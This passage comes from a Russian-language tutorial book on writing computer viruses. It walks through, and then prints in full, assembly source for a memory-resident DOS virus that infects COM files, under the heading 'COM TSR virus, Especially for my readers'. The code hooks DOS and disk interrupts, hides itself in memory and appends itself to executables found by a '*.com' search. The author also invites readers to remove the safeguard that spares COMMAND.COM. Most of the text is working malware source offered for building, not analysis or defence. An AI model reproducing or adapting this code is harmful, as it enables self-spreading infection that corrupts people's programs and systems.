- торые корректируют содержимое DS при работе в ре-
- зидентном режиме .Если этого не сделать, то отно-
- сительный адрес каждой ячейки памяти придется уме-
- ньшать на 110h ( см п. 2.5 ).Далее вирус проверяет
- значение переменной "tg_13h" .Дело в том,что рези-
- дентный вирус обязательно должен заражать файлы,
- находясь в памяти, и поэтому без обращения к диску
- в резидентном режиме нам не обойтись.Такое обраще-
- ние, естественно, должно происходить только в те
- моменты,когда никакие другие программы не работают
- с диском .Если это условие не соблюдается, непре-
- менно возникнет программный конфликт, что приведет
- к неприятным последствиям .Особенно это относится
- к тем случаям,когда на машине установлен какой-ни-
- будь кэш ( например, SMARTDRIVE или HYPERDISK ) .
- В этом случае может случиться так, что вирус и кэш
- попробуют обратиться к диску одновременно, а это
- недопустимо !
- Решить проблему помогает введение переменной "tg_
- 13h" .Она принимает значение " 1 ", когда к диску
- выполняется обращение, или значение " 0 ", если в
- данный момент обращения к диску нет.Для инициали-
- зации переменной используется специальный "фильтр"
- прерывания Int 13h, который будет описан ниже .
- Итак, если " tg_13h " равна " 1 ",вирус возвращает
- управление прерванной программе,в противном случае
- работа вирусного кода продолжается .
- 2.14 Заражаем COM - файл
- В случае, если прерывание Int 13h не выполняется,
- можно заняться поиском подходящего COM - файла и
- его заражением.Этот процесс практически не отлича-
- ется от действий нерезидентного вируса, и поэтому
- мы просто используем разработанный ранее блок, не
- останавливаясь подробно на его работе :
- all_right: mov ah,2fh ;Получим текущую
- int 21h ;DTA ( ES : BX )
- mov bp,bx
- mov cx,80h ;Сохраним эту
- lea si,dta_save ;DTA ...
- mov di,bp
- save_dta:
- mov al,byte ptr es:[di]
- mov [si],al
- inc si
- inc di
- loop cs:save_dta
- find_first: ;Найдем первый
- mov ah,4eh ;файл ...
- mov cx,00100111b
- lea dx,maska
- int 21h
- jnc cs:retry_2
- jmp restore_dta
- find_next: mov ah,3eh ;Закроем непод-
- int 21h ;ходящий файл
- jnc cs:retry_1
- jmp cs:restore_dta
- retry_1: mov ah,4fh ;Найдем следую-
- int 21h ;щий ...
- jnc cs:retry_2
- jmp cs:restore_dta
- retry_2: mov cx,12 ;Сотрем старое
- lea si,fn ;имя в буфере
- destroy_name:
- mov byte ptr [si],0
- inc si
- loop cs:destroy_name
- xor si,si ;И запишем туда
- mov di,bp ;новое ...
- copy_name: mov al,byte ptr es:[di+1eh]
- cmp al,0
- je cs:check_command
- mov byte ptr fn[si],al
- inc si
- inc di
- jmp cs:copy_name
- check_command:
- ;Проверим, не
- ;является - ли
- call cs:search ;файл командным
- cmp inside,1 ;процессором...
- je cs:retry_1
- mov ax,3d02h ;Откроем этот
- lea dx,fn ;файл ...
- int 21h
- jnc cs:save_bytes
- jmp cs:restore_dta
- save_bytes: ;Считаем первые
- mov bx,ax ;три байта
- mov ah,3fh
- mov cx,3
- lea dx,old_bytes
- int 21h
- jnc cs:found_size
- jmp cs:close
- found_size:mov di,bp
- cmp word ptr es:[di+01ch],0
- jne cs:more_64K ;Найдем его раз-
- mov ax,es:[di+01ah] ;мер ...
- count_size:mov si,ax ;Вычислим
- ;смещения ...
- cmp ax,64000
- jna cs:smallest
- more_64K: jmp cs:find_next
- smallest: test ax,000fh
- jz cs:krat_16
- or ax,000fh
- inc ax
- krat_16: mov di,ax
- sub ax,3
- mov byte ptr new_bytes[1],al
- mov byte ptr new_bytes[2],ah
- mov ax,di
- mov cl,4
- shr ax,cl
- dec ax
- mov byte ptr add_to_ds,al
- mov byte ptr add_to_ds+1,ah
- mov ax,4200h ;Считаем послед-
- xor cx,cx ;ний байт ...
- dec si
- mov dx,si
- int 21h
- jnc cs:read_last
- jmp cs:close
- read_last:
- mov ah,3fh
- mov cx,1
- lea dx,last
- int 21h
- jc cs:close
- cmp last,'1' ;Индикатор зара-
- jne cs:write_vir ;жения ...
- jmp cs:find_next
- write_vir: mov ax,4200h ;Запишем начало
- xor cx,cx ;вируса ...
- mov dx,di
- int 21h
- jc cs:close
- mov ah,40h
- mov cx,2
- lea dx,end_file
- int 21h
- jc cs:close
- ;И остальную
- mov ah,40h ;часть ...
- mov cx,vir_len - 2
- lea dx,vir + 2
- int 21h
- jc cs:close
- write_bytes: ;Запишем первые
- mov ax,4200h ;три байта
- xor cx,cx
- xor dx,dx
- int 21h
- jc cs:close
- mov ah,40h
- mov cx,3
- lea dx,new_bytes
- int 21h
- close: mov ah,3eh ;Закроем зара-
- int 21h ;женный файл
- restore_dta:
- mov cx,80h ;Восстановим DTA
- lea si,dta_save
- mov di,bp
- dta_fresh:
- mov al,[si]
- mov byte ptr es:[di],al
- inc si
- inc di
- loop cs:dta_fresh
- Как видите, в созданный ранее фрагмент были внесе-
- ны некоторые изменения, в которых мы сейчас и раз-
- беремся .
- Поскольку вирус будет заражать файлы в резидентном
- режиме,он будет пользоваться DTA активной в данный
- момент программы,что приведет к ее разрушению.Что-
- бы этого не происходило, нужно сохранить ее в об-
- ласти данных вируса, а после завершения работы ви-
- руса - восстановить.Получить адрес текущей DTA мо-
- жно с помощью функции DOS 2Fh, которая и использу-
- ется вирусом .
- Следующее отличие - наш вирус проверяет,является -
- ли найденный файл командным процессором COMMAND.
- COM .Для этого используется процедура SEARCH,кото-
- рая возвращает INSIDE = 1, если найден командный
- процессор, или INSIDE = 0 - в противном случае .
- Так как иногда COM-файлы на самом деле имеют EXE -
- формат, их размер может превышать 64 Кбайта,и сле-
- дует проверить, не является - ли найденный нами
- файл именно таким, иначе при заражении он будет
- безнадежно испорчен .С этой целью вирус считывает
- из DTA слово по смещению 01Ch, и сравнивает его
- с нулем .Если это слово равно нулю,размер файла не
- превышает 64 Кбайт,и его можно заражать .Кроме то-
- го,неплохо было бы проверить формат файла.Для это-
- го нужно проверить его первые два байта. Если мы
- имеем дело с EXE - файлом, то указанные байты со-
- держат ASCII - коды символов " M " и " Z ". Думаю,
- читатель сам при желании допишет несколько необхо-
- димых для этого команд.
- И последнее - мы выяснили,( см. п. 2.5) что первы-
- ми двумя байтами,которые должны записываться в ко-
- нец файла, должна быть команда перехода на секцию
- инициализации вируса .Эту функцию выполняют коман-
- ды,записанные за меткой " write_vir " .Сам код ко-
- манды перехода хранится в области " end_file " .
- *
- Не спешите торжествовать по поводу того, что ав-
- тор этой книги не смог сделать вирус, заражающий
- COMMAND.COM, и поэтому, вероятно, является "чай-
- ником". На самом деле вирус отлично работает с
- командным процессором и при этом не глюкует. За-
- щита введена только для вашего же блага, так как
- заражение COMMAND.COM " нестандартным " вирусом
- - крайне неприятное событие. Подготовленный чи-
- татель без труда снимет такую " защиту ".
- 2.15 Восстанавливаем регистры
- Перед тем, как передать управление прерванной про-
- грамме,необходимо восстановить значения регистров,
- которые имели место при получении управления рези-
- дентной программой :
- exit_zarasa: ;Восстановим
- ;регистры
- ;процессора ...
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- popf
- mov ss,cs:ss_save-110h ;Восстановим
- mov sp,cs:sp_save-110h ;стек ...
- iret
- Кроме того, вирус восстанавливает стек прерванной
- программы, без чего дальнейшая работа невозможна .
- 2.16 Пишем обработчики прерываний
- Для начала выясним, какие прерывания и с какой це-
- лью наш вирус будет перехватывать .
- Во - первых, необходимо перехватить прерывание Int
- 21h .Дело в том, что наш вирус является резидент-
- ным, и должен заражать файлы при тех или иных со-
- бытиях в вычислительной системе.Очень многие виру-
- сы активизируются, например,при смене текущего ди-
- ска или каталога .Этот метод является весьма удач-
- ным, и мы реализуем именно его .Но для этого нужно
- знать, когда именно выполняются смена каталога или
- диска.Единственный способ узнать о таком событии -
- это перехватить прерывание Int 21h на себя, и при
- каждом его вызове проверять, какая именно функция
- вызывается . Так мы и сделаем .
- Во - вторых, нам не обойтись без перехвата Int 13h
- ( см п. 2.13 ) .
- В - третьих,поскольку наш вирус будет пользоваться
- функциями DOS,которые работают с диском в резиден-
- тном режиме,необходимо знать,когда можно безопасно
- обращаться к этим функциям . Для этого следует
- перехватить прерывание Int 28h,которое всегда вы-
- зывается только при выполнении DOS реентерабельной
- секции своего кода .Иными словами, при возникнове-
- нии прерывания Int 28h можно смело пользоваться
- любыми функциями DOS .
- Далее, для проверки наличия вирусного кода в памя-
- ти наш вирус будет использовать так называемое
- мультиплексное прерывание - Int 2fh, и поэтому мы
- должны перехватить и его ( см п. 2.7 ) .
- И, наконец, мы должны написать обработчик критиче-
- ской ошибки .Она возникает,например,если мы попы-
- таемся записать информацию на вынутую из дисковода
- дискету . Наш вирус должен перехватить прерывание
- по критической ошибке ( Int 24h ) и выполнить его
- обработку .
- 2.17 Обработчик Int 13h
- Как мы уже выяснили, этот обработчик должен запи-
- сывать в ячейку " tg_13h " значение " 1 ", если в
- данный момент выполняется прерывание Int 13h, или
- значение " 0 " - в противном случае .
- К сожалению,в MS DOS отсутствует какое - либо сре-
- дство, позволяющее узнать, когда именно активно
- прерывание Int 13h .И поэтому единственный способ
- решения этой задачи - установка на Int 13h так на-
- зываемого " фильтра ", который отслеживал бы все
- вызовы вышеуказанного прерывания .
- Самое простое решение - это перехватить Int 13h на
- себя,а в самом обработчике вызвать системный обра-
- ботчик как дальнюю процедуру .Конечно, перед этим
- нужно записать в " tg_13h" единицу - это будет ин-
- дикатором выполнения Int 13h в данный момент .Ко-
- гда системный обработчик выполнится, управление
- вновь получит " фильтр ".Поскольку Int 13h уже вы-
- полнилось, можно сбросить в "0" переменную tg_13h.
- Итак :
- ; _______________________________________________
- ;| |
- ;| Напишем новые обработчики INT 13h, INT 21h, |
- ;| INT 24h и INT 2fh ... |
- ;|_______________________________________________|
- to_new_13h equ $-vir
- new_13h: jmp cs:start_13h
- tg_13h db 0
- ax_13h dw 0
- cs_13h dw 0
- ip_13h dw 0
- start_13h: mov cs:tg_13h - 110h,1
- pushf
- db 9ah ;Код команды
- old_13h dw 0 ; " CALL " ...
- old_13h_2 dw 0
- mov cs:ax_13h - 110h,ax;Поместим новый
- pop ax ;флаг на место
- mov cs:ip_13h - 110h,ax;старого ( CF )
- pop ax
- mov cs:cs_13h - 110h,ax
- pop ax
- pushf
- mov ax,cs:cs_13h - 110h
- push ax
- mov ax,cs:ip_13h - 110h
- push ax
- mov ax,cs:ax_13h - 110h
- mov cs:tg_13h - 110h,0
- iret
- Здесь константа " to_new_13h " показывает смещение
- от начала вирусного кода до начала обработчика .
- Хотелось бы обратить ваше внимание на одну особен-
- ность .Она состоит в том, что прерывания Int 21h и
- Int 13h возвращают в регистре AX код ошибки,а бит
- CF регистра флагов используется как индикатор этой
- ошибки .
- Пусть, например, при получении фильтром управления
- бит CF имел значение FLAG 1, а регистры CS и IP
- имели значения CS 1 и IP 1.Тогда команда " pushf "
- занесет значение FLAG 1 в стек .Команда "call" по-
- местит в стек значения CS 1 и IP 1,после чего уп-
- равление получит системный обработчик .Этот обра-
- ботчик занесет в стек значение FLAG 2, и при своем
- завершении выполнит команду "iret" .Команда "iret"
- снимет с вершины стека значения IP 1,CS 1 и FLAG2.
- Теперь уже наш фильтр сбросит в " 0 " переменную
- " tg_13h ",и командой " iret " передаст управление
- прерванной программе .Но дело в том, что эта кома-
- нда извлечет из стека значения IP и CS, которые
- имели место в момент вызова прерывания Int 13h, а
- также регистр флагов FLAG 1 .Таким образом,из сте-
- ка будет извлечен FLAG 1 вместо FLAG 2 !Чтобы это-
- го не произошло, мы должны поместить в стек FLAG 2
- вместо FLAG 1 . Именно для этого предназначены ко-
- манды,записанные после ячейки " old_13h_2 ".Работа
- этих команд особых пояснений не требует .Мы просто
- " добираемся " до нужной ячейки в стеке, последо-
- вательно считывая предшествующие .Можно, конечно,
- написать более эффективный фрагмент,зато выбранный
- нами метод достаточно прост .
- 2.18 Обработчик Int 21h
- Рассмотрим теперь создание обработчика прерывания
- Int 21h .Как мы договорились, он должен помещать
- " единицу " в ячейку " tg_infect ", если DOS вы-
- полняет смену текущего каталога или диска ( см п.
- 2.5 ) .Поэтому напишем " фильтр ", который будет
- проверять, какая именно функция DOS вызвана в тот
- или иной момент :
- ;-------------------------------------------------
- to_new_21h equ $-vir
- new_21h: jmp cs:start_21h
- tg_infect db 0
- start_21h: pushf
- push di
- push es
- xor di,di ;Перехват
- mov es,di ;INT 24h в рези-
- mov di,90h ;дентном режиме
- mov word ptr es:[di],to_new_24h
- mov es:[di+2],cs
- cmp ah,03bh ;Активизировать
- ;вирус ?
- jne cs:new_cmp_1
- mov cs:tg_infect-110h,1;Да - взводим
- ;триггер ...
- new_cmp_1: cmp ah,00eh
- jne cs:to_jump
- mov cs:tg_infect - 110h,1
- to_jump: pop es
- pop di
- popf
- db 0eah ;Переход на ста-
- old_21h dw 0 ;рый обработчик
- old_21h_2 dw 0 ;INT 21h ...
- Поскольку при вызове функции DOS в регистре AH за-
- дается ее номер,достаточно просто проанализировать
- его и " выловить " нужные значения.Наш вирус будет
- реагировать на смену текущего каталога (AH=03Bh),и
- смену текущего диска (AH=0Eh) .Эти числа и пытает-
- ся обнаружить " фильтр " .
- Далее - так как нам нужно всего лишь определить,
- какая функция DOS вызвана, нет смысла после завер-
- шения системного обработчика передавать управление
- обратно в " фильтр " .По этой причине отпадает не-
- обходимость сложных " манипуляций " со стеком, ко-
- торые мы проделывали в предыдущем пункте .
- Помимо решения своей конкретной задачи, написанный
- нами обработчик используется для перехвата преры-
- вания Int 24h.Делается это прямым обращением к та-
- блице векторов прерываний . Так же перехватывает
- прерывания и секция инициализации при установке
- вируса в память .Правда, вы можете спросить, зачем
- потребовалась такая сложная методика перехвата,
- и почему бы не выполнить его в секции инициализа-
- ции ? Дело в том, что такой прием будет "работать"
- только в MS DOS .WINDOWS 95, например, постоянно
- восстанавливает вектор Int 24h, что делает бессмы-
- сленным изменение вектора " только один раз ".Тру-
- дно сказать, зачем в WINDOWS 95 принято восстанав-
- ливать вектор .Вероятно, это сделано для надежно-
- сти работы системы .При создании резидентного EXE-
- вируса мы поговорим еще об одной " странности "
- этой популярной операционной системы,которая поме-
- шает нам сделать вирусную программу " невидимой "
- для антивирусных средств .
- 2.19 Обработчик Int 24h
- Этот обработчик должен устанавливать собственную
- реакцию на критическую ошибку .Вызывается он очень
- редко,поэтому просто сделаем так,чтобы при появле-
- нии ошибки не происходило " зависание " .Для этого
- достаточно вернуть управление прерванной програм-
- ме,поместив предварительно в регистр AL код " 3 ":
- ;-------------------------------------------------
- to_new_24h equ $ - vir
- new_24h: mov al,3 ;Вернем програм-
- iret ;ме управление
- 2.20 Обработчик Int 2Fh
- Напишем обработчик Int 2Fh . Мы договорились испо-
- льзовать это прерывание для проверки наличия виру-
- са в памяти .
- Напомним,что секция инициализации для решения ука-
- занной задачи вызывает Int 2Fh c такими параметра-
- ми :
- AX = 0F000h
- BX = 01997h .
- Если вирус уже инсталлирован в память,его обработ-
- чик должен вернуть AL = 0FFh, это значение и ана-
- лизирует секция инициализации при запуске заражен-
- шой программы . Исходя из всего сказанного, можно
- написать такой фрагмент :
- ;-------------------------------------------------
- to_new_2fh equ $ - vir
- new_2fh: pushf
- cmp ax,0f000h
- jne cs:not_our
- cmp bx,1997h
- jne cs:not_our
- mov al,0ffh
- popf
- iret
- not_our: popf
- db 0eah
- old_2fh dw 0
- old_2fh_2 dw 0
- Если вызывается прерывание Int 2Fh с параметрами,
- отличными от AX = 0F000h и BX = 01997h, вирусный
- обработчик просто возвращает управление системно-
- му . В противном случае управление передается пре-
- рванной программе, причем в этом случае AL будет
- равно 0FFh.
- 2.21 Обработчик Int 28h
- Строго говоря, мы его уже написали ( см. п. 2.5 ,
- п. 2.6 и т.д. ).Именно он занимается поиском и за-
- ражением файлов,пользуясь для этого функциями DOS.
- Но так как эти функции используются тогда, когда
- активно прерывание Int 28h, ничего страшного про-
- изойти не должно .
- 2.22 Область данных вируса
- Теперь мы можем привести все данные, с которыми
- работает наш вирус :
- ;/***********************************************/
- ;Data area
- old_bytes db 0e9h ;Исходные три
- dw vir_len + 0dh ;байта ...
- dta_save db 128 dup (0) ;Массив для DTA
- maska db '*.com',0 ;Маска для поис-
- ;ка ...
- fn db 12 dup (' '),0 ;Место для имени
- ;файла
- new_bytes db 0e9h ;Код команды
- ;" JMP ..."
- db 00h ;HIGH
- db 00h ;LOW
- ;Он записывается
- ;в файл вместо
- ;первых трех
- ;байт ...
- end_file db 0ebh ;Первые два бай-
- db push_len ;та вируса в
- ;файле (команда
- ;перехода на се-
- ;кцию инициали-
- ;зации ...
- ss_save dw 0 ;Буфера для SS
- sp_save dw 0 ;и SP ...
- help_word dw 0 ;Промежуточная
- ;ячейка .
- com_com db 'COMMAND' ;Имя командного
- ;процессора ...
- inside db 0 ;Ячейка - инди-
- ;катор ...
- last db 0 ;Последний байт
- to_newstack equ $ - vir ;Смещение к сте-
- ;ку ...
- newstack dw 70 dup ( 0 ) ;Новый стек ...
- 2.23 Процедура идентификации COMMAND.COM
- Приведем текст процедуры, которой пользуется наш
- вирус. Эта процедура проверяет,является - ли най-
- денный нами файл командным процессором COMMAND.COM
- и возвращает INSIDE = 1, если был найден именно
- командный процессор .
- Итак :
- ;-------------------------------------------------
- search proc ;Процедура
- push ax ;сравнивает
- push cx ;строки ...
- mov inside,1
- lea di,fn
- lea si,com_com
- mov cx,7
- new_cmp: mov al,byte ptr ds:[si]
- cmp byte ptr ds:[di],al
- jne cs:not_equal
- inc di
- inc si
- loop cs:new_cmp
- jmp cs:to_ret
- not_equal: mov inside,0
- to_ret: pop cx
- pop ax
- ret
- search endp
- Работа процедуры достаточно ясна и в комментариях
- не нуждается .
- 2.24 Завершаем программу
- В принципе, завершить эту программу можно так же,
- как и предыдущую :
- db '1' ;Последний байт
- ;вируса в файле
- vir_len equ $-vir ;Длина вируса в
- ;байтах ...
- vir_par equ ( $-vir + 0fh ) / 16
- ;И в параграфах
- prg_end: mov ax,4c00h ;Выход в DOS
- INT 21H ;только для за-
- ;пускающей прог-
- ;раммы ...
- db '1' ;И ее последний
- ;байт ...
- prg ends ;Стандартное
- end start ;" окончание "
- ;ASM - программы
- Единственное отличие заключается в том, что по-
- требовалось ввести константу " vir_par ".Она нужна
- для расчета необходимой длины блока памяти при ин-
- сталляции вируса и в некоторых других вычислениях.
- 2.25 Текст резидентного COM - вируса
- Теперь мы можем привести полный текст резидентной
- программы - вируса :
- ; _______________________________________________
- ;| |
- ;| COM TSR virus |
- ;| Especially for my readers |
- ;|_______________________________________________|
- prg segment
- assume cs:prg,ds:prg,es:prg,ss:prg
- org 100h
- start: jmp vir
- org 110h
- ;С метки " vir "
- ;фактически на-
- ;чинается обра-
- ;ботчик Int 28h
- vir: db 0ebh ;90h - Для рези-
- db push_len ;90h дентной
- ; работы .
- pushf
- cmp cs:tg_infect-110h,1;Активизиро-
- ;ваться ?
- je cs:vir_2 ;Да ...
- call dword ptr cs:old_28h - 110h
- ;Нет - вызовем
- ;старый обработ-
- ;чик INT 28h,
- ;чтобы не топить
- ;другие TSR ...
- iret
- vir_2: popf ;Переключаем
- ;стек для TSR -
- ;исполнения на
- mov cs:ss_save-110h,ss ;себя ...
- mov cs:sp_save-110h,sp
- mov cs:help_word - 110h,cs
- mov ss,cs:help_word - 110h
- mov sp,to_newstack + 136
- mov cs:tg_infect - 110h,0
- pushf ;Вызываем старый
- db 9ah ;обработчик
- old_28h dw 0 ;INT 28h ...
- old_28h_2 dw 0
- pushf ;Сохраним в сте-
- push ax ;ке регистры ...
- push bx
- push cx
- push dx
- push si
- push di
- push bp
- push ds
- push es
- jmp cs:infect ;Перейти к зара-
- ;жению файлов
- push_len equ $-vir - 2
- mov ax,ds ;Корректируем DS
- ;для нерезидент-
- ;ной работы ...
- db 05h ;Код команды
- add_to_ds: dw 0 ;" ADD AX,00h "
- mov ds,ax
- mov ax,0f000h ;Проверим, есть
- mov bx,1997h ;вирус в памяти,
- int 2fh ;или еще нет ...
- jc fresh_bytes
- cmp al,0ffh
- jne free_mem ;Нет -
- ;устанавливаем
- fresh_bytes: ;Восстанавливаем
- mov al,old_bytes ;первые три бай-
- ;та зараженной
- mov cs:[100h],al ;программы ...
- mov al,old_bytes+1
- mov cs:[101h],al
- mov al,old_bytes+2
- mov cs:[102h],al
- mov ax,cs ;Восстанавливаем
- ;сегментные
- mov es,ax ;регистры ...
- mov start_cs,ax
- mov ds,ax
- jmp cl_conv_1 ;Передаем управ-
- cl_conv_1: db 0eah ;ление заражен-
- dw 100h ;ной программе
- start_cs dw 0
- free_mem: mov ah,4ah ;Определим объем
- ;доступной памя-
- ;ти ...
- mov bx,0ffffh ;Заведомо невоз-
- int 21h ;можное значение
- ;(0ffffh) !
- ; _______________________________________________
- ;| Закажем свободный блок памяти,чтобы можно было|
- ;| записать в него резидентную часть вируса ... |
- ;|_______________________________________________|
- sub bx,vir_par + 2 ;Оставим вирусу
- ;на 2 параграфа
- ;больше, чем
- ;он сам занимает
- mov ah,4ah ;А остальная па-
- int 21h ;мять будет
- jc fresh_bytes ;занята ...
- mov ah,48h ;Попросим DOS
- ;отдать свобод-
- ;ный блок нам .
- mov bx,vir_par + 1 ;Запас в один
- int 21h ;параграф ...
- jc fresh_bytes
- ; _______________________________________________
- ;| Теперь свободный блок памяти найден |
- ;| ( сегментный адрес в AX ), и |
- ;| нужно записать в него код вируса ... |
- ;|_______________________________________________|
- xor di,di ;Делаем вирус
- mov bx,ax ;"невидимым" в
- dec bx ;памяти ...
- mov word ptr cs:[2],bx
- mov es,bx
- mov bx,0070h
- mov es:[di+1],bx
- mov es,di ;Получаем векто-
- ;ра прерываний
- cli
- mov di,084h ;Int 21h ...
- mov bx,es:[di]
- mov old_21h,bx
- mov bx,es:[di+2]
- mov old_21h_2,bx
- mov di,0bch ;Int 2fh ...
- mov bx,es:[di]
- mov old_2fh,bx
- mov bx,es:[di+2]
- mov old_2fh_2,bx
- mov di,04ch ;Int 13h ...
- mov bx,es:[di]
- mov old_13h,bx
- mov bx,es:[di+2]
- mov old_13h_2,bx
- mov di,0a0h ;Int 28h ...
- mov bx,es:[di]
- mov old_28h,bx
- mov bx,es:[di+2]
- mov old_28h_2,bx
- sti
- mov word ptr vir,9090h ;Подготавливаем
- mov tg_infect,0 ;вирус к рези-
- ;дентной работе
- mov es,ax ;И копируем его
- xor di,di ;в память...
- mov cx,vir_len
- prg_copy: mov bl,byte ptr vir[di]
- mov byte ptr es:[di],bl
- inc di
- loop prg_copy
- xor bx,bx ;Устанавливаем
- ;вектора преры-
- mov es,bx ;ваний на вирус-
- cli ;ные обработчики
- mov di,084h
- mov word ptr es:[di],to_new_21h
- mov es:[di+2],ax ; Int 21h
- mov di,0bch
- mov word ptr es:[di],to_new_2fh
- mov es:[di+2],ax ; Int 2fh
- mov di,04ch
- mov word ptr es:[di],to_new_13h
- mov es:[di+2],ax ; Int 13h
- mov di,0a0h
- mov word ptr es:[di],0
- mov es:[di+2],ax ; Int 28h
- sti
- jmp fresh_bytes ;Установка
- ;завершена ...
- infect: push cs
- pop ds
- mov ax,ds ;TSR - коррекция
- sub ax,11h ;DS ...
- mov ds,ax
- cmp tg_13h,0 ;INT 13h
- ;выполняется ?
- je cs:all_right ;Нет ...
- jmp cs:exit_zarasa ;Да - на выход
- all_right: mov ah,2fh ;Получим текущую
- int 21h ;DTA ( ES : BX )
- mov bp,bx
- mov cx,80h ;Сохраним эту
- lea si,dta_save ;DTA ...
- mov di,bp
- save_dta:
- mov al,byte ptr es:[di]
- mov [si],al
- inc si
- inc di
- loop cs:save_dta
- find_first: ;Найдем первый
- mov ah,4eh ;файл ...
- mov cx,00100111b
- lea dx,maska
- int 21h
- jnc cs:retry_2
- jmp restore_dta
- find_next: mov ah,3eh ;Закроем непод-
- int 21h ;ходящий файл
- jnc cs:retry_1
- jmp cs:restore_dta
- retry_1: mov ah,4fh ;Найдем следую-
- int 21h ;щий ...
- jnc cs:retry_2
- jmp cs:restore_dta
- retry_2: mov cx,12 ;Сотрем старое
- lea si,fn ;имя в буфере
- destroy_name:
- mov byte ptr [si],0
- inc si
- loop cs:destroy_name
- xor si,si ;И запишем туда
- mov di,bp ;новое ...
- copy_name: mov al,byte ptr es:[di+1eh]
- cmp al,0
- je cs:check_command
- mov byte ptr fn[si],al
- inc si
- inc di
- jmp cs:copy_name
- check_command:
- ;Проверим, не
- ;является - ли
- call cs:search ;файл командным
- cmp inside,1 ;процессором...
- je cs:retry_1
- mov ax,3d02h ;Откроем этот
- lea dx,fn ;файл ...
- int 21h
- jnc cs:save_bytes
- jmp cs:restore_dta
- save_bytes: ;Считаем первые
- mov bx,ax ;три байта
- mov ah,3fh
- mov cx,3
- lea dx,old_bytes
- int 21h
- jnc cs:found_size jmp cs:close
- found_size:mov di,bp
- cmp word ptr es:[di+01ch],0
- jne cs:more_64K ;Найдем его раз-
- mov ax,es:[di+01ah] ;мер ...
- count_size:mov si,ax ;Вычислим
- ;смещения ...
- cmp ax,64000
- jna cs:smallest
- more_64K: jmp cs:find_next
- smallest: test ax,000fh
- jz cs:krat_16
- or ax,000fh
- inc ax
- krat_16: mov di,ax
- sub ax,3
- mov byte ptr new_bytes[1],al
- mov byte ptr new_bytes[2],ah
- mov ax,di
- mov cl,4
- shr ax,cl
- dec ax
- mov byte ptr add_to_ds,al
- mov byte ptr add_to_ds+1,ah
- mov ax,4200h ;Считаем послед-
- xor cx,cx ;ний байт ...
- dec si
- mov dx,si
- int 21h
- jnc cs:read_last
- jmp cs:close
- read_last:
- mov ah,3fh
- mov cx,1
- lea dx,last
- int 21h
- jc cs:close
- cmp last,'1' ;Индикатор зара-
- jne cs:write_vir ;жения ...
- jmp cs:find_next
- write_vir: mov ax,4200h ;Запишем начало
- xor cx,cx ;вируса ...
- mov dx,di
- int 21h
- jc cs:close
- mov ah,40h
- mov cx,2
- lea dx,end_file
- int 21h
- jc cs:close
- ;И остальную
- mov ah,40h ;часть ...
- mov cx,vir_len - 2
- lea dx,vir + 2
- int 21h
- jc cs:close
- write_bytes: ;Запишем первые
- mov ax,4200h ;три байта
- xor cx,cx
- xor dx,dx
- int 21h
- jc cs:close
- mov ah,40h
- mov cx,3
- lea dx,new_bytes
- int 21h
- close: mov ah,3eh ;Закроем зара-
- int 21h ;женный файл
- restore_dta:
- mov cx,80h ;Восстановим DTA
- lea si,dta_save
- mov di,bp
- dta_fresh:
- mov al,[si]
- mov byte ptr es:[di],al
- inc si
- inc di
- loop cs:dta_fresh
- exit_zarasa: ;Выход в систему
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- popf
- mov ss,cs:ss_save-110h ;Восстановим
- mov sp,cs:sp_save-110h ;стек ...
- iret
- ;-------------------------------------------------
- ; _______________________________________________
- ;| |
- ;| Напишем новые обработчики INT 13h, INT 21h, |
- ;| INT 24h и INT 2fh ... |
- ;|_______________________________________________|
- to_new_13h equ $-vir
- new_13h: jmp cs:start_13h
- tg_13h db 0
- ax_13h dw 0
- cs_13h dw 0
- ip_13h dw 0
- start_13h: mov cs:tg_13h - 110h,1
- pushf
- db 9ah
- old_13h dw 0
- old_13h_2 dw 0
- mov cs:ax_13h - 110h,ax;Поместим новый
- pop ax ;флаг на место
- mov cs:ip_13h - 110h,ax;старого ( CF )
- pop ax
- mov cs:cs_13h - 110h,ax
- pop ax
- pushf
- mov ax,cs:cs_13h - 110h
- push ax
- mov ax,cs:ip_13h - 110h
- push ax
- mov ax,cs:ax_13h - 110h
- mov cs:tg_13h - 110h,0
- iret
- ;-------------------------------------------------
- to_new_21h equ $-vir
- new_21h: jmp cs:start_21h
- tg_infect db 0
- start_21h: pushf
- push di
- push es
- xor di,di ;Перехват
- mov es,di ;INT 24h в рези-
- mov di,90h ;дентном режиме
- mov word ptr es:[di],to_new_24h
- mov es:[di+2],cs
- cmp ah,03bh ;Активизировать
- ;вирус ?
- jne cs:new_cmp_1
- mov cs:tg_infect-110h,1;Да - взводим
- ;триггер ...
- new_cmp_1: cmp ah,00eh
- jne cs:to_jump
- mov cs:tg_infect - 110h,1
- to_jump: pop es
- pop di
- popf
- db 0eah ;Переход на ста-
- old_21h dw 0 ;рый обработчик
- old_21h_2 dw 0 ;INT 21h ...
- ;-------------------------------------------------
- to_new_24h equ $ - vir
- new_24h: mov al,3 ;Вернем програм-
- iret ;ме управление и
- ;код ошибки ...
- ;-------------------------------------------------
- to_new_2fh equ $ - vir
- new_2fh: pushf
- cmp ax,0f000h
- jne cs:not_our
- cmp bx,1997h
- jne cs:not_our
- mov al,0ffh
- popf
- iret
- not_our: popf
- db 0eah
- old_2fh dw 0
- old_2fh_2 dw 0
- ;/***********************************************/
- ;Data area
- old_bytes db 0e9h ;Исходные три
- dw vir_len + 0dh ;байта ...
- dta_save db 128 dup (0) ;Массив для DTA
- maska db '*.com',0 ;Маска для поис-
- ;ка ...
- fn db 12 dup (' '),0 ;Место для имени
- ;файла
- new_bytes db 0e9h ;Код команды
- ;" JMP ..."
- db 00h ;HIGH
- db 00h ;LOW
- end_file db 0ebh ;Первые два бай-
- db push_len ;та вируса в
- ;файле ...
- ss_save dw 0 ;Буфера для SS
- sp_save dw 0 ;и SP ...
- help_word dw 0 ;Промежуточная
- ;ячейка .
- old_attr db 0 ;Исходные атри-
- ;буты файла ...
- com_com db 'COMMAND' ;Имя командного
- ;процессора ...
- inside db 0 ;Ячейка - инди-
- ;катор ...
- last db 0 ;Последний байт
- to_newstack equ $ - vir ;Смещение к сте-
- ;ку ...
- newstack dw 70 dup ( 0 ) ;Новый стек ...
- ;-------------------------------------------------
- search proc ;Процедура
- push ax ;сравнивает
- push cx ;строки ...
- mov inside,1
- lea di,fn
- lea si,com_com
- mov cx,7
- new_cmp: mov al,byte ptr ds:[si]
- cmp byte ptr ds:[di],al
- jne cs:not_equal
- inc di
- inc si
- loop cs:new_cmp
- jmp cs:to_ret
- not_equal: mov inside,0
